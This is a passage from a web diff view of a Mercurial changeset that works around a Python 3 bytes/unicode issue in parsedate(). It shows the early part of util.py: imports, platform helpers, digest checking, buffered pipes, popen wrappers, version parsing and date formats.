##// END OF EJS Templates
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara -
r34358:b76937fa default
parent child Browse files
Show More
@@ -1,3831 +1,3833 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import calendar
20 import calendar
21 import codecs
21 import codecs
22 import collections
22 import collections
23 import contextlib
23 import contextlib
24 import datetime
24 import datetime
25 import errno
25 import errno
26 import gc
26 import gc
27 import hashlib
27 import hashlib
28 import imp
28 import imp
29 import mmap
29 import mmap
30 import os
30 import os
31 import platform as pyplatform
31 import platform as pyplatform
32 import re as remod
32 import re as remod
33 import shutil
33 import shutil
34 import signal
34 import signal
35 import socket
35 import socket
36 import stat
36 import stat
37 import string
37 import string
38 import subprocess
38 import subprocess
39 import sys
39 import sys
40 import tempfile
40 import tempfile
41 import textwrap
41 import textwrap
42 import time
42 import time
43 import traceback
43 import traceback
44 import warnings
44 import warnings
45 import zlib
45 import zlib
46
46
47 from . import (
47 from . import (
48 encoding,
48 encoding,
49 error,
49 error,
50 i18n,
50 i18n,
51 policy,
51 policy,
52 pycompat,
52 pycompat,
53 )
53 )
54
54
55 base85 = policy.importmod(r'base85')
55 base85 = policy.importmod(r'base85')
56 osutil = policy.importmod(r'osutil')
56 osutil = policy.importmod(r'osutil')
57 parsers = policy.importmod(r'parsers')
57 parsers = policy.importmod(r'parsers')
58
58
59 b85decode = base85.b85decode
59 b85decode = base85.b85decode
60 b85encode = base85.b85encode
60 b85encode = base85.b85encode
61
61
62 cookielib = pycompat.cookielib
62 cookielib = pycompat.cookielib
63 empty = pycompat.empty
63 empty = pycompat.empty
64 httplib = pycompat.httplib
64 httplib = pycompat.httplib
65 httpserver = pycompat.httpserver
65 httpserver = pycompat.httpserver
66 pickle = pycompat.pickle
66 pickle = pycompat.pickle
67 queue = pycompat.queue
67 queue = pycompat.queue
68 socketserver = pycompat.socketserver
68 socketserver = pycompat.socketserver
69 stderr = pycompat.stderr
69 stderr = pycompat.stderr
70 stdin = pycompat.stdin
70 stdin = pycompat.stdin
71 stdout = pycompat.stdout
71 stdout = pycompat.stdout
72 stringio = pycompat.stringio
72 stringio = pycompat.stringio
73 urlerr = pycompat.urlerr
73 urlerr = pycompat.urlerr
74 urlreq = pycompat.urlreq
74 urlreq = pycompat.urlreq
75 xmlrpclib = pycompat.xmlrpclib
75 xmlrpclib = pycompat.xmlrpclib
76
76
77 # workaround for win32mbcs
77 # workaround for win32mbcs
78 _filenamebytestr = pycompat.bytestr
78 _filenamebytestr = pycompat.bytestr
79
79
80 def isatty(fp):
80 def isatty(fp):
81 try:
81 try:
82 return fp.isatty()
82 return fp.isatty()
83 except AttributeError:
83 except AttributeError:
84 return False
84 return False
85
85
86 # glibc determines buffering on first write to stdout - if we replace a TTY
86 # glibc determines buffering on first write to stdout - if we replace a TTY
87 # destined stdout with a pipe destined stdout (e.g. pager), we want line
87 # destined stdout with a pipe destined stdout (e.g. pager), we want line
88 # buffering
88 # buffering
89 if isatty(stdout):
89 if isatty(stdout):
90 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
90 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
91
91
92 if pycompat.osname == 'nt':
92 if pycompat.osname == 'nt':
93 from . import windows as platform
93 from . import windows as platform
94 stdout = platform.winstdout(stdout)
94 stdout = platform.winstdout(stdout)
95 else:
95 else:
96 from . import posix as platform
96 from . import posix as platform
97
97
98 _ = i18n._
98 _ = i18n._
99
99
100 bindunixsocket = platform.bindunixsocket
100 bindunixsocket = platform.bindunixsocket
101 cachestat = platform.cachestat
101 cachestat = platform.cachestat
102 checkexec = platform.checkexec
102 checkexec = platform.checkexec
103 checklink = platform.checklink
103 checklink = platform.checklink
104 copymode = platform.copymode
104 copymode = platform.copymode
105 executablepath = platform.executablepath
105 executablepath = platform.executablepath
106 expandglobs = platform.expandglobs
106 expandglobs = platform.expandglobs
107 explainexit = platform.explainexit
107 explainexit = platform.explainexit
108 findexe = platform.findexe
108 findexe = platform.findexe
109 gethgcmd = platform.gethgcmd
109 gethgcmd = platform.gethgcmd
110 getuser = platform.getuser
110 getuser = platform.getuser
111 getpid = os.getpid
111 getpid = os.getpid
112 groupmembers = platform.groupmembers
112 groupmembers = platform.groupmembers
113 groupname = platform.groupname
113 groupname = platform.groupname
114 hidewindow = platform.hidewindow
114 hidewindow = platform.hidewindow
115 isexec = platform.isexec
115 isexec = platform.isexec
116 isowner = platform.isowner
116 isowner = platform.isowner
117 listdir = osutil.listdir
117 listdir = osutil.listdir
118 localpath = platform.localpath
118 localpath = platform.localpath
119 lookupreg = platform.lookupreg
119 lookupreg = platform.lookupreg
120 makedir = platform.makedir
120 makedir = platform.makedir
121 nlinks = platform.nlinks
121 nlinks = platform.nlinks
122 normpath = platform.normpath
122 normpath = platform.normpath
123 normcase = platform.normcase
123 normcase = platform.normcase
124 normcasespec = platform.normcasespec
124 normcasespec = platform.normcasespec
125 normcasefallback = platform.normcasefallback
125 normcasefallback = platform.normcasefallback
126 openhardlinks = platform.openhardlinks
126 openhardlinks = platform.openhardlinks
127 oslink = platform.oslink
127 oslink = platform.oslink
128 parsepatchoutput = platform.parsepatchoutput
128 parsepatchoutput = platform.parsepatchoutput
129 pconvert = platform.pconvert
129 pconvert = platform.pconvert
130 poll = platform.poll
130 poll = platform.poll
131 popen = platform.popen
131 popen = platform.popen
132 posixfile = platform.posixfile
132 posixfile = platform.posixfile
133 quotecommand = platform.quotecommand
133 quotecommand = platform.quotecommand
134 readpipe = platform.readpipe
134 readpipe = platform.readpipe
135 rename = platform.rename
135 rename = platform.rename
136 removedirs = platform.removedirs
136 removedirs = platform.removedirs
137 samedevice = platform.samedevice
137 samedevice = platform.samedevice
138 samefile = platform.samefile
138 samefile = platform.samefile
139 samestat = platform.samestat
139 samestat = platform.samestat
140 setbinary = platform.setbinary
140 setbinary = platform.setbinary
141 setflags = platform.setflags
141 setflags = platform.setflags
142 setsignalhandler = platform.setsignalhandler
142 setsignalhandler = platform.setsignalhandler
143 shellquote = platform.shellquote
143 shellquote = platform.shellquote
144 spawndetached = platform.spawndetached
144 spawndetached = platform.spawndetached
145 split = platform.split
145 split = platform.split
146 sshargs = platform.sshargs
146 sshargs = platform.sshargs
147 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
147 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
148 statisexec = platform.statisexec
148 statisexec = platform.statisexec
149 statislink = platform.statislink
149 statislink = platform.statislink
150 testpid = platform.testpid
150 testpid = platform.testpid
151 umask = platform.umask
151 umask = platform.umask
152 unlink = platform.unlink
152 unlink = platform.unlink
153 username = platform.username
153 username = platform.username
154
154
155 try:
155 try:
156 recvfds = osutil.recvfds
156 recvfds = osutil.recvfds
157 except AttributeError:
157 except AttributeError:
158 pass
158 pass
159 try:
159 try:
160 setprocname = osutil.setprocname
160 setprocname = osutil.setprocname
161 except AttributeError:
161 except AttributeError:
162 pass
162 pass
163
163
164 # Python compatibility
164 # Python compatibility
165
165
166 _notset = object()
166 _notset = object()
167
167
168 # disable Python's problematic floating point timestamps (issue4836)
168 # disable Python's problematic floating point timestamps (issue4836)
169 # (Python hypocritically says you shouldn't change this behavior in
169 # (Python hypocritically says you shouldn't change this behavior in
170 # libraries, and sure enough Mercurial is not a library.)
170 # libraries, and sure enough Mercurial is not a library.)
171 os.stat_float_times(False)
171 os.stat_float_times(False)
172
172
173 def safehasattr(thing, attr):
173 def safehasattr(thing, attr):
174 return getattr(thing, attr, _notset) is not _notset
174 return getattr(thing, attr, _notset) is not _notset
175
175
176 def bytesinput(fin, fout, *args, **kwargs):
176 def bytesinput(fin, fout, *args, **kwargs):
177 sin, sout = sys.stdin, sys.stdout
177 sin, sout = sys.stdin, sys.stdout
178 try:
178 try:
179 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
179 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
180 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
180 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
181 finally:
181 finally:
182 sys.stdin, sys.stdout = sin, sout
182 sys.stdin, sys.stdout = sin, sout
183
183
184 def bitsfrom(container):
184 def bitsfrom(container):
185 bits = 0
185 bits = 0
186 for bit in container:
186 for bit in container:
187 bits |= bit
187 bits |= bit
188 return bits
188 return bits
189
189
190 # python 2.6 still have deprecation warning enabled by default. We do not want
190 # python 2.6 still have deprecation warning enabled by default. We do not want
191 # to display anything to standard user so detect if we are running test and
191 # to display anything to standard user so detect if we are running test and
192 # only use python deprecation warning in this case.
192 # only use python deprecation warning in this case.
193 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
193 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
194 if _dowarn:
194 if _dowarn:
195 # explicitly unfilter our warning for python 2.7
195 # explicitly unfilter our warning for python 2.7
196 #
196 #
197 # The option of setting PYTHONWARNINGS in the test runner was investigated.
197 # The option of setting PYTHONWARNINGS in the test runner was investigated.
198 # However, module name set through PYTHONWARNINGS was exactly matched, so
198 # However, module name set through PYTHONWARNINGS was exactly matched, so
199 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
199 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
200 # makes the whole PYTHONWARNINGS thing useless for our usecase.
200 # makes the whole PYTHONWARNINGS thing useless for our usecase.
201 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
201 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
202 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
202 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
203 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
203 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
204
204
205 def nouideprecwarn(msg, version, stacklevel=1):
205 def nouideprecwarn(msg, version, stacklevel=1):
206 """Issue an python native deprecation warning
206 """Issue an python native deprecation warning
207
207
208 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
208 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
209 """
209 """
210 if _dowarn:
210 if _dowarn:
211 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
211 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
212 " update your code.)") % version
212 " update your code.)") % version
213 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
213 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
214
214
215 DIGESTS = {
215 DIGESTS = {
216 'md5': hashlib.md5,
216 'md5': hashlib.md5,
217 'sha1': hashlib.sha1,
217 'sha1': hashlib.sha1,
218 'sha512': hashlib.sha512,
218 'sha512': hashlib.sha512,
219 }
219 }
220 # List of digest types from strongest to weakest
220 # List of digest types from strongest to weakest
221 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
221 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
222
222
223 for k in DIGESTS_BY_STRENGTH:
223 for k in DIGESTS_BY_STRENGTH:
224 assert k in DIGESTS
224 assert k in DIGESTS
225
225
226 class digester(object):
226 class digester(object):
227 """helper to compute digests.
227 """helper to compute digests.
228
228
229 This helper can be used to compute one or more digests given their name.
229 This helper can be used to compute one or more digests given their name.
230
230
231 >>> d = digester([b'md5', b'sha1'])
231 >>> d = digester([b'md5', b'sha1'])
232 >>> d.update(b'foo')
232 >>> d.update(b'foo')
233 >>> [k for k in sorted(d)]
233 >>> [k for k in sorted(d)]
234 ['md5', 'sha1']
234 ['md5', 'sha1']
235 >>> d[b'md5']
235 >>> d[b'md5']
236 'acbd18db4cc2f85cedef654fccc4a4d8'
236 'acbd18db4cc2f85cedef654fccc4a4d8'
237 >>> d[b'sha1']
237 >>> d[b'sha1']
238 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
238 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
239 >>> digester.preferred([b'md5', b'sha1'])
239 >>> digester.preferred([b'md5', b'sha1'])
240 'sha1'
240 'sha1'
241 """
241 """
242
242
243 def __init__(self, digests, s=''):
243 def __init__(self, digests, s=''):
244 self._hashes = {}
244 self._hashes = {}
245 for k in digests:
245 for k in digests:
246 if k not in DIGESTS:
246 if k not in DIGESTS:
247 raise Abort(_('unknown digest type: %s') % k)
247 raise Abort(_('unknown digest type: %s') % k)
248 self._hashes[k] = DIGESTS[k]()
248 self._hashes[k] = DIGESTS[k]()
249 if s:
249 if s:
250 self.update(s)
250 self.update(s)
251
251
252 def update(self, data):
252 def update(self, data):
253 for h in self._hashes.values():
253 for h in self._hashes.values():
254 h.update(data)
254 h.update(data)
255
255
256 def __getitem__(self, key):
256 def __getitem__(self, key):
257 if key not in DIGESTS:
257 if key not in DIGESTS:
258 raise Abort(_('unknown digest type: %s') % k)
258 raise Abort(_('unknown digest type: %s') % k)
259 return self._hashes[key].hexdigest()
259 return self._hashes[key].hexdigest()
260
260
261 def __iter__(self):
261 def __iter__(self):
262 return iter(self._hashes)
262 return iter(self._hashes)
263
263
264 @staticmethod
264 @staticmethod
265 def preferred(supported):
265 def preferred(supported):
266 """returns the strongest digest type in both supported and DIGESTS."""
266 """returns the strongest digest type in both supported and DIGESTS."""
267
267
268 for k in DIGESTS_BY_STRENGTH:
268 for k in DIGESTS_BY_STRENGTH:
269 if k in supported:
269 if k in supported:
270 return k
270 return k
271 return None
271 return None
272
272
273 class digestchecker(object):
273 class digestchecker(object):
274 """file handle wrapper that additionally checks content against a given
274 """file handle wrapper that additionally checks content against a given
275 size and digests.
275 size and digests.
276
276
277 d = digestchecker(fh, size, {'md5': '...'})
277 d = digestchecker(fh, size, {'md5': '...'})
278
278
279 When multiple digests are given, all of them are validated.
279 When multiple digests are given, all of them are validated.
280 """
280 """
281
281
282 def __init__(self, fh, size, digests):
282 def __init__(self, fh, size, digests):
283 self._fh = fh
283 self._fh = fh
284 self._size = size
284 self._size = size
285 self._got = 0
285 self._got = 0
286 self._digests = dict(digests)
286 self._digests = dict(digests)
287 self._digester = digester(self._digests.keys())
287 self._digester = digester(self._digests.keys())
288
288
289 def read(self, length=-1):
289 def read(self, length=-1):
290 content = self._fh.read(length)
290 content = self._fh.read(length)
291 self._digester.update(content)
291 self._digester.update(content)
292 self._got += len(content)
292 self._got += len(content)
293 return content
293 return content
294
294
295 def validate(self):
295 def validate(self):
296 if self._size != self._got:
296 if self._size != self._got:
297 raise Abort(_('size mismatch: expected %d, got %d') %
297 raise Abort(_('size mismatch: expected %d, got %d') %
298 (self._size, self._got))
298 (self._size, self._got))
299 for k, v in self._digests.items():
299 for k, v in self._digests.items():
300 if v != self._digester[k]:
300 if v != self._digester[k]:
301 # i18n: first parameter is a digest name
301 # i18n: first parameter is a digest name
302 raise Abort(_('%s mismatch: expected %s, got %s') %
302 raise Abort(_('%s mismatch: expected %s, got %s') %
303 (k, v, self._digester[k]))
303 (k, v, self._digester[k]))
304
304
305 try:
305 try:
306 buffer = buffer
306 buffer = buffer
307 except NameError:
307 except NameError:
308 def buffer(sliceable, offset=0, length=None):
308 def buffer(sliceable, offset=0, length=None):
309 if length is not None:
309 if length is not None:
310 return memoryview(sliceable)[offset:offset + length]
310 return memoryview(sliceable)[offset:offset + length]
311 return memoryview(sliceable)[offset:]
311 return memoryview(sliceable)[offset:]
312
312
313 closefds = pycompat.osname == 'posix'
313 closefds = pycompat.osname == 'posix'
314
314
315 _chunksize = 4096
315 _chunksize = 4096
316
316
317 class bufferedinputpipe(object):
317 class bufferedinputpipe(object):
318 """a manually buffered input pipe
318 """a manually buffered input pipe
319
319
320 Python will not let us use buffered IO and lazy reading with 'polling' at
320 Python will not let us use buffered IO and lazy reading with 'polling' at
321 the same time. We cannot probe the buffer state and select will not detect
321 the same time. We cannot probe the buffer state and select will not detect
322 that data are ready to read if they are already buffered.
322 that data are ready to read if they are already buffered.
323
323
324 This class let us work around that by implementing its own buffering
324 This class let us work around that by implementing its own buffering
325 (allowing efficient readline) while offering a way to know if the buffer is
325 (allowing efficient readline) while offering a way to know if the buffer is
326 empty from the output (allowing collaboration of the buffer with polling).
326 empty from the output (allowing collaboration of the buffer with polling).
327
327
328 This class lives in the 'util' module because it makes use of the 'os'
328 This class lives in the 'util' module because it makes use of the 'os'
329 module from the python stdlib.
329 module from the python stdlib.
330 """
330 """
331
331
332 def __init__(self, input):
332 def __init__(self, input):
333 self._input = input
333 self._input = input
334 self._buffer = []
334 self._buffer = []
335 self._eof = False
335 self._eof = False
336 self._lenbuf = 0
336 self._lenbuf = 0
337
337
338 @property
338 @property
339 def hasbuffer(self):
339 def hasbuffer(self):
340 """True is any data is currently buffered
340 """True is any data is currently buffered
341
341
342 This will be used externally a pre-step for polling IO. If there is
342 This will be used externally a pre-step for polling IO. If there is
343 already data then no polling should be set in place."""
343 already data then no polling should be set in place."""
344 return bool(self._buffer)
344 return bool(self._buffer)
345
345
346 @property
346 @property
347 def closed(self):
347 def closed(self):
348 return self._input.closed
348 return self._input.closed
349
349
350 def fileno(self):
350 def fileno(self):
351 return self._input.fileno()
351 return self._input.fileno()
352
352
353 def close(self):
353 def close(self):
354 return self._input.close()
354 return self._input.close()
355
355
356 def read(self, size):
356 def read(self, size):
357 while (not self._eof) and (self._lenbuf < size):
357 while (not self._eof) and (self._lenbuf < size):
358 self._fillbuffer()
358 self._fillbuffer()
359 return self._frombuffer(size)
359 return self._frombuffer(size)
360
360
361 def readline(self, *args, **kwargs):
361 def readline(self, *args, **kwargs):
362 if 1 < len(self._buffer):
362 if 1 < len(self._buffer):
363 # this should not happen because both read and readline end with a
363 # this should not happen because both read and readline end with a
364 # _frombuffer call that collapse it.
364 # _frombuffer call that collapse it.
365 self._buffer = [''.join(self._buffer)]
365 self._buffer = [''.join(self._buffer)]
366 self._lenbuf = len(self._buffer[0])
366 self._lenbuf = len(self._buffer[0])
367 lfi = -1
367 lfi = -1
368 if self._buffer:
368 if self._buffer:
369 lfi = self._buffer[-1].find('\n')
369 lfi = self._buffer[-1].find('\n')
370 while (not self._eof) and lfi < 0:
370 while (not self._eof) and lfi < 0:
371 self._fillbuffer()
371 self._fillbuffer()
372 if self._buffer:
372 if self._buffer:
373 lfi = self._buffer[-1].find('\n')
373 lfi = self._buffer[-1].find('\n')
374 size = lfi + 1
374 size = lfi + 1
375 if lfi < 0: # end of file
375 if lfi < 0: # end of file
376 size = self._lenbuf
376 size = self._lenbuf
377 elif 1 < len(self._buffer):
377 elif 1 < len(self._buffer):
378 # we need to take previous chunks into account
378 # we need to take previous chunks into account
379 size += self._lenbuf - len(self._buffer[-1])
379 size += self._lenbuf - len(self._buffer[-1])
380 return self._frombuffer(size)
380 return self._frombuffer(size)
381
381
382 def _frombuffer(self, size):
382 def _frombuffer(self, size):
383 """return at most 'size' data from the buffer
383 """return at most 'size' data from the buffer
384
384
385 The data are removed from the buffer."""
385 The data are removed from the buffer."""
386 if size == 0 or not self._buffer:
386 if size == 0 or not self._buffer:
387 return ''
387 return ''
388 buf = self._buffer[0]
388 buf = self._buffer[0]
389 if 1 < len(self._buffer):
389 if 1 < len(self._buffer):
390 buf = ''.join(self._buffer)
390 buf = ''.join(self._buffer)
391
391
392 data = buf[:size]
392 data = buf[:size]
393 buf = buf[len(data):]
393 buf = buf[len(data):]
394 if buf:
394 if buf:
395 self._buffer = [buf]
395 self._buffer = [buf]
396 self._lenbuf = len(buf)
396 self._lenbuf = len(buf)
397 else:
397 else:
398 self._buffer = []
398 self._buffer = []
399 self._lenbuf = 0
399 self._lenbuf = 0
400 return data
400 return data
401
401
402 def _fillbuffer(self):
402 def _fillbuffer(self):
403 """read data to the buffer"""
403 """read data to the buffer"""
404 data = os.read(self._input.fileno(), _chunksize)
404 data = os.read(self._input.fileno(), _chunksize)
405 if not data:
405 if not data:
406 self._eof = True
406 self._eof = True
407 else:
407 else:
408 self._lenbuf += len(data)
408 self._lenbuf += len(data)
409 self._buffer.append(data)
409 self._buffer.append(data)
410
410
411 def mmapread(fp):
411 def mmapread(fp):
412 try:
412 try:
413 fd = getattr(fp, 'fileno', lambda: fp)()
413 fd = getattr(fp, 'fileno', lambda: fp)()
414 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
414 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
415 except ValueError:
415 except ValueError:
416 # Empty files cannot be mmapped, but mmapread should still work. Check
416 # Empty files cannot be mmapped, but mmapread should still work. Check
417 # if the file is empty, and if so, return an empty buffer.
417 # if the file is empty, and if so, return an empty buffer.
418 if os.fstat(fd).st_size == 0:
418 if os.fstat(fd).st_size == 0:
419 return ''
419 return ''
420 raise
420 raise
421
421
422 def popen2(cmd, env=None, newlines=False):
422 def popen2(cmd, env=None, newlines=False):
423 # Setting bufsize to -1 lets the system decide the buffer size.
423 # Setting bufsize to -1 lets the system decide the buffer size.
424 # The default for bufsize is 0, meaning unbuffered. This leads to
424 # The default for bufsize is 0, meaning unbuffered. This leads to
425 # poor performance on Mac OS X: http://bugs.python.org/issue4194
425 # poor performance on Mac OS X: http://bugs.python.org/issue4194
426 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
426 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
427 close_fds=closefds,
427 close_fds=closefds,
428 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
428 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
429 universal_newlines=newlines,
429 universal_newlines=newlines,
430 env=env)
430 env=env)
431 return p.stdin, p.stdout
431 return p.stdin, p.stdout
432
432
433 def popen3(cmd, env=None, newlines=False):
433 def popen3(cmd, env=None, newlines=False):
434 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
434 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
435 return stdin, stdout, stderr
435 return stdin, stdout, stderr
436
436
437 def popen4(cmd, env=None, newlines=False, bufsize=-1):
437 def popen4(cmd, env=None, newlines=False, bufsize=-1):
438 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
438 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
439 close_fds=closefds,
439 close_fds=closefds,
440 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
440 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
441 stderr=subprocess.PIPE,
441 stderr=subprocess.PIPE,
442 universal_newlines=newlines,
442 universal_newlines=newlines,
443 env=env)
443 env=env)
444 return p.stdin, p.stdout, p.stderr, p
444 return p.stdin, p.stdout, p.stderr, p
445
445
446 def version():
446 def version():
447 """Return version information if available."""
447 """Return version information if available."""
448 try:
448 try:
449 from . import __version__
449 from . import __version__
450 return __version__.version
450 return __version__.version
451 except ImportError:
451 except ImportError:
452 return 'unknown'
452 return 'unknown'
453
453
454 def versiontuple(v=None, n=4):
454 def versiontuple(v=None, n=4):
455 """Parses a Mercurial version string into an N-tuple.
455 """Parses a Mercurial version string into an N-tuple.
456
456
457 The version string to be parsed is specified with the ``v`` argument.
457 The version string to be parsed is specified with the ``v`` argument.
458 If it isn't defined, the current Mercurial version string will be parsed.
458 If it isn't defined, the current Mercurial version string will be parsed.
459
459
460 ``n`` can be 2, 3, or 4. Here is how some version strings map to
460 ``n`` can be 2, 3, or 4. Here is how some version strings map to
461 returned values:
461 returned values:
462
462
463 >>> v = b'3.6.1+190-df9b73d2d444'
463 >>> v = b'3.6.1+190-df9b73d2d444'
464 >>> versiontuple(v, 2)
464 >>> versiontuple(v, 2)
465 (3, 6)
465 (3, 6)
466 >>> versiontuple(v, 3)
466 >>> versiontuple(v, 3)
467 (3, 6, 1)
467 (3, 6, 1)
468 >>> versiontuple(v, 4)
468 >>> versiontuple(v, 4)
469 (3, 6, 1, '190-df9b73d2d444')
469 (3, 6, 1, '190-df9b73d2d444')
470
470
471 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
471 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
472 (3, 6, 1, '190-df9b73d2d444+20151118')
472 (3, 6, 1, '190-df9b73d2d444+20151118')
473
473
474 >>> v = b'3.6'
474 >>> v = b'3.6'
475 >>> versiontuple(v, 2)
475 >>> versiontuple(v, 2)
476 (3, 6)
476 (3, 6)
477 >>> versiontuple(v, 3)
477 >>> versiontuple(v, 3)
478 (3, 6, None)
478 (3, 6, None)
479 >>> versiontuple(v, 4)
479 >>> versiontuple(v, 4)
480 (3, 6, None, None)
480 (3, 6, None, None)
481
481
482 >>> v = b'3.9-rc'
482 >>> v = b'3.9-rc'
483 >>> versiontuple(v, 2)
483 >>> versiontuple(v, 2)
484 (3, 9)
484 (3, 9)
485 >>> versiontuple(v, 3)
485 >>> versiontuple(v, 3)
486 (3, 9, None)
486 (3, 9, None)
487 >>> versiontuple(v, 4)
487 >>> versiontuple(v, 4)
488 (3, 9, None, 'rc')
488 (3, 9, None, 'rc')
489
489
490 >>> v = b'3.9-rc+2-02a8fea4289b'
490 >>> v = b'3.9-rc+2-02a8fea4289b'
491 >>> versiontuple(v, 2)
491 >>> versiontuple(v, 2)
492 (3, 9)
492 (3, 9)
493 >>> versiontuple(v, 3)
493 >>> versiontuple(v, 3)
494 (3, 9, None)
494 (3, 9, None)
495 >>> versiontuple(v, 4)
495 >>> versiontuple(v, 4)
496 (3, 9, None, 'rc+2-02a8fea4289b')
496 (3, 9, None, 'rc+2-02a8fea4289b')
497 """
497 """
498 if not v:
498 if not v:
499 v = version()
499 v = version()
500 parts = remod.split('[\+-]', v, 1)
500 parts = remod.split('[\+-]', v, 1)
501 if len(parts) == 1:
501 if len(parts) == 1:
502 vparts, extra = parts[0], None
502 vparts, extra = parts[0], None
503 else:
503 else:
504 vparts, extra = parts
504 vparts, extra = parts
505
505
506 vints = []
506 vints = []
507 for i in vparts.split('.'):
507 for i in vparts.split('.'):
508 try:
508 try:
509 vints.append(int(i))
509 vints.append(int(i))
510 except ValueError:
510 except ValueError:
511 break
511 break
512 # (3, 6) -> (3, 6, None)
512 # (3, 6) -> (3, 6, None)
513 while len(vints) < 3:
513 while len(vints) < 3:
514 vints.append(None)
514 vints.append(None)
515
515
516 if n == 2:
516 if n == 2:
517 return (vints[0], vints[1])
517 return (vints[0], vints[1])
518 if n == 3:
518 if n == 3:
519 return (vints[0], vints[1], vints[2])
519 return (vints[0], vints[1], vints[2])
520 if n == 4:
520 if n == 4:
521 return (vints[0], vints[1], vints[2], extra)
521 return (vints[0], vints[1], vints[2], extra)
522
522
523 # used by parsedate
523 # used by parsedate
524 defaultdateformats = (
524 defaultdateformats = (
525 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
525 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
526 '%Y-%m-%dT%H:%M', # without seconds
526 '%Y-%m-%dT%H:%M', # without seconds
527 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
527 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
528 '%Y-%m-%dT%H%M', # without seconds
528 '%Y-%m-%dT%H%M', # without seconds
529 '%Y-%m-%d %H:%M:%S', # our common legal variant
529 '%Y-%m-%d %H:%M:%S', # our common legal variant
530 '%Y-%m-%d %H:%M', # without seconds
530 '%Y-%m-%d %H:%M', # without seconds
531 '%Y-%m-%d %H%M%S', # without :
531 '%Y-%m-%d %H%M%S', # without :
532 '%Y-%m-%d %H%M', # without seconds
532 '%Y-%m-%d %H%M', # without seconds
533 '%Y-%m-%d %I:%M:%S%p',
533 '%Y-%m-%d %I:%M:%S%p',
534 '%Y-%m-%d %H:%M',
534 '%Y-%m-%d %H:%M',
535 '%Y-%m-%d %I:%M%p',
535 '%Y-%m-%d %I:%M%p',
536 '%Y-%m-%d',
536 '%Y-%m-%d',
537 '%m-%d',
537 '%m-%d',
538 '%m/%d',
538 '%m/%d',
539 '%m/%d/%y',
539 '%m/%d/%y',
540 '%m/%d/%Y',
540 '%m/%d/%Y',
541 '%a %b %d %H:%M:%S %Y',
541 '%a %b %d %H:%M:%S %Y',
542 '%a %b %d %I:%M:%S%p %Y',
542 '%a %b %d %I:%M:%S%p %Y',
543 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
543 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
544 '%b %d %H:%M:%S %Y',
544 '%b %d %H:%M:%S %Y',
545 '%b %d %I:%M:%S%p %Y',
545 '%b %d %I:%M:%S%p %Y',
546 '%b %d %H:%M:%S',
546 '%b %d %H:%M:%S',
547 '%b %d %I:%M:%S%p',
547 '%b %d %I:%M:%S%p',
548 '%b %d %H:%M',
548 '%b %d %H:%M',
549 '%b %d %I:%M%p',
549 '%b %d %I:%M%p',
550 '%b %d %Y',
